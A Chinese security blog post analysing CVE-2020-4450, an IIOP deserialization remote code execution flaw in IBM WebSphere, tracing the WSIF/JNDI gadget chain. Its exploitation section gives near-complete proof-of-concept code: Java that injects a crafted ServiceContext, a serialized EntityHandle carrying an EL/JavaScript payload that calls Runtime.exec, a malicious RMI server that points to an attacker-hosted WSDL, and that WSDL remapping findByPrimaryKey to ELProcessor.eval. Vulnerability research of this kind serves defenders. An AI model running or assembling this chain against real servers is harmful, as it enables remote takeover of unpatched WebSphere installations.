Lucifaer's Blog.

WebSphere远程代码执行漏洞分析(CVE-2020-4450)

Word count: 5,064 / Reading time: 22 min
2020/08/21 Share

该漏洞本身其实并不是非常好用,但是对于分析来说,确实是今年以来比较有意思的一个漏洞了,值得所有做Java漏洞研究的人员进行跟进和学习。

0x01 漏洞概述

IBM WebSphere Application Server(后面简称WAS)在今年6月发布了一则漏洞通告,cve编号为:CVE-2020-4450。该漏洞允许攻击者通过iiop向WAS进行网络请求,最终在WAS上执行任意代码。

在7月,ZDI公布了漏洞细节,同天iswin师傅也发布了他对此漏洞的分析,8月6日,360cert的小伙伴也公布了他自己的分析,本文是参考以上三篇文章完成的,主要用于记录自己的调试过程,以及补充相关的分析细节。

0x02 漏洞分析

该漏洞主要分为三部分:

  • TXServerInterceptor拦截器处理iiop请求
  • 利用WSIF构造Gadget
  • 伪造wsdl文件完成漏洞利用

本文将从上而下将三部分进行串流分析,主要采用静态跟踪,最后会在漏洞利用部分分享如何创建相关数据流完成整条流程的串通。

2.1 TXServerInterceptor拦截器处理iiop请求

这一部分tinit0在19年的bh上其实已经做了相关的分享,这里只是记录一下自己的跟进流程。

TXServerInterceptor具体代码在com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request,这里只截关键部分的代码:

拦截器首先会根据ServerRequestInfo实例化ServiceContext对象,当serviceContext.context_data对象非空时可以进入TxInterceptorHelper.demarshalContext解析流程,而这里就是漏洞的起始点。

跟进TxInterceptorHelper.demarshalContext()方法:

对Corba处理稍微熟悉一点的可以很明显的看出这里为Corba rpc流程中的解包流程。根据传入的bypte数组初始化CDRInputStream对象用于后续进行反序列化操作。在完成CDRInputStream初始化后,调用read_any()方法初始化Any对象。

由于IBM自己重新实现了具体的IIOP解析流程,所以不能先入为主的用JDK原生处理逻辑来思考后续漏洞调用流程。

我们首先来跟进一下CDRInputStream的初始化逻辑,后续流程会用到其所定义的CDRReader

这里最终返回EncoderInputStream对象,并设置reader对象为com.ibm.rmi.iiop.CDRInputStreamreader会在后续流程中用到。

现在跟进inputStream.read_any()

具体实现为com.ibm.rmi.iiop.CDRInputStream#reade_any。由于CDRInputStream中未实现read_any()方法则调用com.ibm.rmi.iiop.CDRReader#read_any

其中最为关键的逻辑就是Any.read_value()。到这里为止,经历了以下流程:

1
2
3
CDRInputStream初始化 ->
CDRInputStream.read_any() ->
CDRInputStream.read_value()

看过之前那篇简述Corba文章的,可能已经清楚了,JDK原生实现逻辑在后续会触发反序列化流程,而IBM的实现方式却不尽相同,后续会触发反射调用的流程。

跟进Any.read_value()方法:

首先会将传入的TypeCode转化为真正的TypeCode,之后调用TCUtility.unmarshalIn()对传入的InputStream进行解包操作,想要查看全部的TypeCode的话,可以查看org.omg.CORBA.TCKind#from_int。这里我们重点关注tk_value,也就是TypeCode为29的情况:

接下来的调用逻辑为:

1
2
3
org.omg.CORBA_2_3.portable.InputStream#read_value ->
com.ibm.rmi.iiop.EncoderInputStream#read_value ->
com.ibm.rmi.iiop.CDRReader#read_value

com.ibm.rmi.iiop.CDRReader#read_value()中存在关键逻辑:

this.fast_read_value_ludcl();中对this.valueClass进行了初始化:

最终通过com.ibm.rmi.util.ClassCache#loadClass调用JDK反射完成类的实例化。这里不做重点跟踪,感兴趣的可以自己跟一下。

这里主要跟进一下his.valueHandler.readValue()方法的处理流程:

调用了this.inputStreamBridge.simpleReadObject()最终返回一个Serializable对象,继续跟进:

红框标注了两个重要的流程,simpleReadObjectInternal方法和simpleReadObjectLoop,这两个方法存在一定的区别。

simpleReadObjectInternal

simpleReadObjectInternal首先根据valueClass的类型进行流程分派,之后会向上轮询查找父类同时将subClass保存在pendingReadStack中。判断父类是否存在readObject方法,如果没有则将完成初步处理的对象传入simpleReadObjectLoop中对其子类进行反序列化。

这里会会向上轮询查找父类同时将subClass保存在pendingReadStack中,跟进看一下addSubclass()方法:

其将相关信息都进行了设置,这些设置在simpleReadObjectLoop中会用到。继续跟进:

此处会判断父类中是否存在readObject方法,若不存在则完成后续处理逻辑并进入simpleReadObjectLoop逻辑之中。

simpleReadObjectLoop

simpleReadObjectLoop会遍历pendingReadStack中的子类,并调用continueSimpleReadObject()方法尝试反序列化。

此处的var2.objvar2.classDescvar2.fvdsimpleReadObjectInternal中都已经进行了设置。跟进inputObjectUsingClassDesc()方法,和simpleReadObjectInternal是相同的逻辑,先判断是否存在readObject方法,如果存在则调用readObject方法进行反序列化操作:

至此漏洞的触发点就梳理完毕了。

2.2 利用WSIF构造Gadget

2.2.1 WSIF更改执行流

在具体梳理漏洞gadget前,先用一个例子来简单介绍一下Apache WSIF

WSIF全称Web服务调用框架,是一组用于调用Web服务的Java API。其和wsdl描述文件强关联,wsdl文件用于描述与Web服务的抽象结构进行交互,可以理解为Web服务API的描述文件。

首先创建一个接口,该接口用于与对应的wsdl文件对应:

然后本地实现Gadget接口,这里为了简单,直接将exec()方法实现为执行命令:

具体的调用为:

WSIFServiceFactory.getService()方法文档如下:

可以看到这里主要需要以下几个参数:

  • javax.wsdl.Definition:wsdl文件的位置
  • portTypeNs:用于标识port的NameSpace,相当于配置的命名空间
  • portTypeNameport的名字,在wsdl中portType为接口对象的xml表示

这里的WSIFService.getStub(Gadget.class)方法最终返回的是一个Gadget类型的代理对象。

wsdl文件定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?xml version="1.0" ?>

<definitions targetNamespace="http://wsifservice.addressbook/"
xmlns:tns="http://wsifservice.addressbook/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
xmlns="http://schemas.xmlsoap.org/wsdl/">

<message name="ExecRequestMessage">
<part name="command" type="xsd:string"/>
</message>

<!-- port type declns -->
<portType name="Gadget">
<operation name="exec">
<input name="ExecRequest" message="tns:ExecRequestMessage"/>
</operation>
</portType>

<!-- binding declns -->
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String" />
</format:typeMapping>
<operation name="exec">
<java:operation
methodName="exec"
parameterOrder="command"
methodType="instance"
/>
</operation>
</binding>

<!-- service decln -->
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="com.lucifaer.wsif_gadget.service.GadgetImpl"/>
</port>
</service>

</definitions>

运行效果如下:

现在我们在不改动Main代码的情况下(即不改变运行逻辑)让其执行el表达式解析(即实现不同的逻辑)。为了方便测试,只改变Mainexec()方法的参数(可以理解为这里是可控的值):

修改wsdl如下:

执行结果如下:

通过上面两个例子可以简单的将WSIF理解为接口的描述文件,而接口方法的具体实现是根据wsdl配置而进行绑定的

所以当在面对一个存在WSIF调用的逻辑时,可以考虑使用自定义的wsdl来将执行流引向符合条件的其他实现中

2.2.2 Gadget执行流

根据ZDI的文章,tint0找到了一个存在readObject方法的类,并且该类会触发JNDI逻辑,这个类就是org.apache.wsif.providers.ejb.WSIFPort_EJB

HomeHandle.getEJBHome()虽然也会触发JNDI流程,但是由于在具体实现时没有对返回回的代理类对象的相关方法进行引用,无法触发后续的gadget逻辑,所以此处需要构造一个Handle对象,而非一个HomeHandle对象。

现在我们可以先继续跟着Handle.getEJBObject()的逻辑向下看,看到后面就可以理解为什么选择构造Handle对象了。

跟进com.ibm.ejs.container.EntityHandle#getEJBObject,此处是整个Gadget的主要执行逻辑:

总结一下分为三步:

  • JNDI返回一个EJBHome类型的对象
  • 检查返回对象的EJBHome对象是否存在findByPrimaryKey方法
  • 反射调用EJBHome对象的findByPrimaryKey对象

首先来看

1
home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass);

由于最终返回类型为EJBHome,可以得知homeClassEJBHome接口的具体实现类,且ctx.lookup(this.homeJNDIName)必须为EJBHome子类。

接着跟进com.ibm.ejs.container.EntityHandle#findFindByPrimaryKey查看homeClass需要满足的条件:

可以看到必须存在findByPrimaryKey方法。在EJBHome的继承树中寻找符合条件的类有:

1
2
3
4
com.ibm.ejs.security.registry.RegistryEntryHome
com.ibm.ws.batch.AbstractResourceHome
com.ibm.ws.batch.CounterHome
com.ibm.ws.batch.LocalJobStatusHome

目前先不管构造哪个接口的具体实现类,先来看一下ctx.lookup()的具体实现,调用栈:

1
2
3
com.sun.jndi.rmi.registry.RegistryContext#lookup
com.sun.jndi.rmi.registry.RegistryContext#decodeObject
javax.naming.spi.NamingManager#getObjectInstance

1
2
org.apache.aries.jndi.OSGiObjectFactoryBuilder#getObjectInstance(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable<?,?>)
org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance

跟进org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable<?,?>, javax.naming.directory.Attributes)

这里的factoryObjectFactory接口的具体实现,而factory是可以通过environment自定义实现的,所以这里可以通过修改environment的配置更改执行流。

tint0这里找到的可以用ObjectFactoryorg.apache.wsif.naming.WSIFServiceObjectFactory

由于ctx.lookup()最终要求返回的是EJBHome的实现类,而WSIFService接口并非EJBHome的子类,所以选择下面的流程。根据2.2.1中的叙述,可以明显的看出这里调用了WSIF流程。

这里重新放一下WSIFServiceFactory.getService()方法的文档:

对应实现的代码:

注意红框标注的相关代码,WSIF所需要的基础参数我们都可以通过Reference对象获得。通过指定className,我们还可以指定生成的stub动态代理对象的类型,当设置其为EJBHome的具体实现类时,可以完美的匹配我们之前的需求。

而通过自定义wsdl文件,我们可以将接口方法映射到其他的具体实现中,改变具体接口的执行流。

2.3 伪造wsdl文件完成漏洞利用

根据2.2.2中的内容,我们回看触发JNDI流程处的代码:

在2.2.2中也说过,这里的home对象要满足两个条件:

  • EJBHome的具体实现类
  • 存在findByPrimaryKey方法

搜索EJBHome的继承树,满足条件的有:

1
2
3
4
com.ibm.ejs.security.registry.RegistryEntryHome
com.ibm.ws.batch.AbstractResourceHome
com.ibm.ws.batch.CounterHome
com.ibm.ws.batch.LocalJobStatusHome

所以如果构造Reference对象中的className为其中一个类,并设置好wsdl文件中对应接口方法的映射,即可完成我们想要控制的逻辑。

仔细研究一下上面所列举的可用的EJBHome接口子类:

其中com.ibm.ws.batch.CounterHome是最容易构造的,可以配合javax.el.ELProcessor执行el表达式,最终导致命令执行。

所以只需要造好wsdl,让CounterHomefindByPrimaryKey方法的具体实现指向javax.el.ELProcessoreval方法,在返回了CounterHome动态代理对象后,会利用反射调用其findByPrimaryKey也就是我们通过wsdl绑定的javax.el.ELProcessor#eval方法,完成表达式执行。

攻击流程可以总结如下:

至此漏洞梳理完毕。

0x03 漏洞利用

根据0x02的分析,可以得出想要利用成功该漏洞所需的必备因素:

  • IIOP请求构造(满足进入触发点的context)
  • 构造org.apache.wsif.providers.ejb.WSIFPort_EJB所需的序列化数据(最终反序列化对象的类型为Handle
  • 构造wsdl文件更改接口方法的具体实现
  • 构造JNDI server使其返回指定的Reference对象

接下来会对上述流程进行逐一叙述。

3.1 IIOP请求构造

回看com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request

要注意两个点:

  • ServiceContext.context_data非空,且包含我们构造的序列化Gadget
  • TxProperties.SINGLE_PROCESStrue

重点来看一下ServiceContext获取逻辑,跟进((ExtendedServerRequestInfo)sri).getRequestServiceContext(0),调用逻辑如下:

1
2
3
4
com.ibm.rmi.pi.ServerRequestInfoImpl#getRequestServiceContext
com.ibm.rmi.iiop.ServerRequestImpl#getServiceContext
com.ibm.rmi.iiop.RequestMessage#getServiceContext
com.ibm.rmi.iiop.ServiceContextList#getServiceContext

根据调用栈我们可以看到是从com.ibm.rmi.iiop.RequestMessage对象中获取ServiceContext对象的,在etServiceContext方法中:

会遍历ServiceContextList,提取id为0ServiceContext。但是由于没有编号为0ServiceContext,所以返回的是空。

仔细读一下官方文档,官方文档中有提及如何在RMI请求中插入ServiceContext的做法,可以参考文档进行理解:

可以看到最终是调用ExtendedClientRequestInfo(ClientRequestInfo的父类)的add_request_service_context方法完成自定义ServiceContext的设置。那么关键点就是,我们如何从client端将ServiceContext设置到ExtendedClientRequestInfo中。

在跟踪了ibm自定义的通信过程后,可以发现在ORB中的GIOPImpl在调用createRequest方法时会实例化ClientRequestImpl对象:

这里有两个地方需要注意:

  • 获取Connection对象
  • 根据获取的Connection对象获取ServiceContext

首先先看一下是如何从Connection对象中获取到ServiceContext的:

可以看到直接是调用Connection#getServiceContexts方法。

之后跟进ClientRequestImpl初始化逻辑:

将获取到的ServiceContext作为参数传入到RequestMessage的构造函数中。这里就和服务端跟到的逻辑相符。

梳理一下思路,构造IIOP请求的关键点为:

  • 进行第一次请求,初始化获取到的Context对象
  • 获取ORB
  • 获取ORB中的GIOPImpl
  • 获取Connection对象
  • 调用setConnectionContexts将构造好的ServiceContext设置到Connection对象中
  • 进行第二次请求,触发RequestMessage对象的重新发送

具体构造可以动态调试一下,利用反射完成相关的值设置。

最终构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://192.168.211.128:2809");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");

InitialContext context = new InitialContext(env);
context.list("");

Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);

Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);

Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);

Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);

Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);

Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);

GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "Lucifaer");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);

byte[] result = new byte[]{0, 0};


ServiceContext serviceContext = new ServiceContext(0, result);
ArrayList v4 = new ArrayList();
v4.add(serviceContext);
setConnectionContexts.invoke(connection, v4);

context.list("");

3.2 构造所需的序列化数据

在2.1的分析中,我们知道要满足触发反序列化流程需要进行特殊构造。漏洞触发点为inputStream.read_any(),为了满足上方对inputStream相关数据的提取,所以需要特殊构造byte[]

既然存在demarshalContext方法,那一定存在marshalContext方法:

按照上面的方法直接生成符合要求的byte[]

1
2
3
4
5
6
7
8
9
10
11
12
13
CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();

Any any = orb.create_any();

PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0, 0, new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream, propagationContext);
result = outputStream.toByteArray();

在满足了触发点后,我们需要构造gadget满足条件:

  • 构造一个org.apache.wsif.providers.ejb.WSIFPort_EJB对象,其中还需要构造WSIFPort_EJB#readObject方法传入值反序列化得到一个javax.ejb.Handle对象。
  • 构造EntityHandle对象

3.2.1 生成WSIFPort_EJB序列化对象

直接看org.apache.wsif.providers.ejb.WSIFPort_EJB#writeObject

这里我们需要首先设置this.fieldEjbObject对象并调用其getHandle方法,生成一个Handle对象。这里的this.fieldEjbObjectEJBObject接口的具体实现。所以可以自己寻找一个具体实现类,并覆盖其getHandle方法。

3.2.2 构造EntityHandle对象

构造一个EntityHandle对象还是比较麻烦的,我们来理一下:

我们需要将homeJNDIName设置为我们自己定义的RMI Server地址,同时key是最终传入findByPrimaryKey的参数,需要构造为我们要执行的代码,所以需要构造特殊的BeanId对象:

同时为了将之后RMI流程指向org.apache.wsif.naming.WSIFServiceObjectFactory,需要我们在Properties对象中设置相关的environment

我们首先构造BeanId。跟进com.ibm.ejs.container.BeanId#getJNDIName

所以还需要构造HomeInternal的具体实现对象,并使其返回String类型。

整理一下需要构造的HomeInternal对象的需求:

  • 构造J2EEName对象,满足要求
  • 寻找一个HomeInternal的具体实现对象,其getJNDIName方法返回String,且返回不受到pkey干扰

查看继承树后,发现EJSHome抽象类满足要求:

所以梳理一下思路:

  • 实例化EJSHome接口实现类
  • 实例化J2EEName对象
  • 反射设置J2EENameEJSHome接口实现类
  • 反射设置EJSHome接口实现类
    this.jndiName变量为RMI Server的地址
  • 实例化BeanId
  • 实例化BeanMetaData
  • 实例化Properties

这里重写了com.ibm.ejs.container.EJSWrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public Handle getHandle() {

Handle var2 = null;
try {
SessionHome sessionHome = new SessionHome();
J2EEName j2EEName = new J2EENameImpl("aa","aa","aa");
Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");
j2eeName.setAccessible(true);
j2eeName.set(sessionHome,j2EEName);
Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");
jndiName.setAccessible(true);
jndiName.set(sessionHome,"rmi://127.0.0.1:1099/poc");
Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('open /Applications/Calculator.app')\")";
//Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"ifconfig\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")";
BeanId beanId = new BeanId(sessionHome,key,true);
BeanMetaData beanMetaData = new BeanMetaData(1);
beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;
Properties initProperties = new Properties();
initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");
Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);
c.setAccessible(true);
var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);
} catch (Exception e) {
e.printStackTrace();
}
return var2;
}

3.3 构造RMI Server绑定

根据2.2.2的分析,我们最终的RMI流程会进行到org.apache.wsif.naming.WSIFServiceObjectFactory中:

所以我们需要构造一个恶意的RMI Server,其应该满足以下要求:

  • 返回一个WSIFServiceStubRef对象
  • 指定用于后续调用WSIF流程的基础参数:
    • wsdLoc
    • serviceNS
    • serviceName
    • portTypeNS
    • portTypeName
    • preferredPort
  • 设置classNamecom.ibm.ws.batch.CounterHome

以上有关WSIF的参数设置,可以参考2.2.1中的叙述,这里就不再过多重复了。

最终可以构造RMI Server如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class RmiServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Reference ref = new Reference(WSIFServiceObjectFactory.class.getName(), null, null);
ref.add(new StringRefAddr("wsdlLoc", "http://192.168.211.1:9999/poc.wsdl"));
ref.add(new StringRefAddr("serviceNS", null));
ref.add(new StringRefAddr("serviceName", null));
ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));
ref.add(new StringRefAddr("portTypeName", "Gadget"));
ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("poc", referenceWrapper);
}
}

3.4 构造WSDL文件

这一部分参考2.2.1中叙述,这里直接给出wsdl文件的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?xml version="1.0" ?>

<definitions targetNamespace="http://wsifservice.addressbook/"
xmlns:tns="http://wsifservice.addressbook/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
xmlns="http://schemas.xmlsoap.org/wsdl/">

<!-- type defs -->

<!-- message declns -->
<message name="findByPrimaryKeyRequest">
<part name="el" type="xsd:string"/>
</message>

<message name="findByPrimaryKeyResponse">
<part name="counterObject" type="xsd:object"/>
</message>

<!-- port type declns -->
<portType name="Gadget">
<operation name="findByPrimaryKey">
<input message="findByPrimaryKeyRequest"/>
<output message="findByPrimaryKeyResponse"/>
</operation>
</portType>

<!-- binding declns -->
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String"/>
<format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>
</format:typeMapping>
<operation name="findByPrimaryKey">
<java:operation
methodName="eval"
parameterOrder="el"
methodType="instance"
returnPart="counterObject"
/>
</operation>
</binding>

<!-- service decln -->
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="javax.el.ELProcessor"/>
</port>
</service>

</definitions>

3.5 整合poc

最后将3.2构造好的WSIFPort_EJB序列化对象写入3.1构造好的IIOP请求中:

至此poc构造完毕。

攻击效果如下:

0x04 Reference

CATALOG
  1. 1. 0x01 漏洞概述
  2. 2. 0x02 漏洞分析
    1. 2.1. 2.1 TXServerInterceptor拦截器处理iiop请求
      1. 2.1.0.1. simpleReadObjectInternal
      2. 2.1.0.2. simpleReadObjectLoop
  3. 2.2. 2.2 利用WSIF构造Gadget
    1. 2.2.1. 2.2.1 WSIF更改执行流
    2. 2.2.2. 2.2.2 Gadget执行流
  4. 2.3. 2.3 伪造wsdl文件完成漏洞利用
  • 3. 0x03 漏洞利用
    1. 3.1. 3.1 IIOP请求构造
    2. 3.2. 3.2 构造所需的序列化数据
      1. 3.2.1. 3.2.1 生成WSIFPort_EJB序列化对象
      2. 3.2.2. 3.2.2 构造EntityHandle对象
    3. 3.3. 3.3 构造RMI Server绑定
    4. 3.4. 3.4 构造WSDL文件
    5. 3.5. 3.5 整合poc
  • 4. 0x04 Reference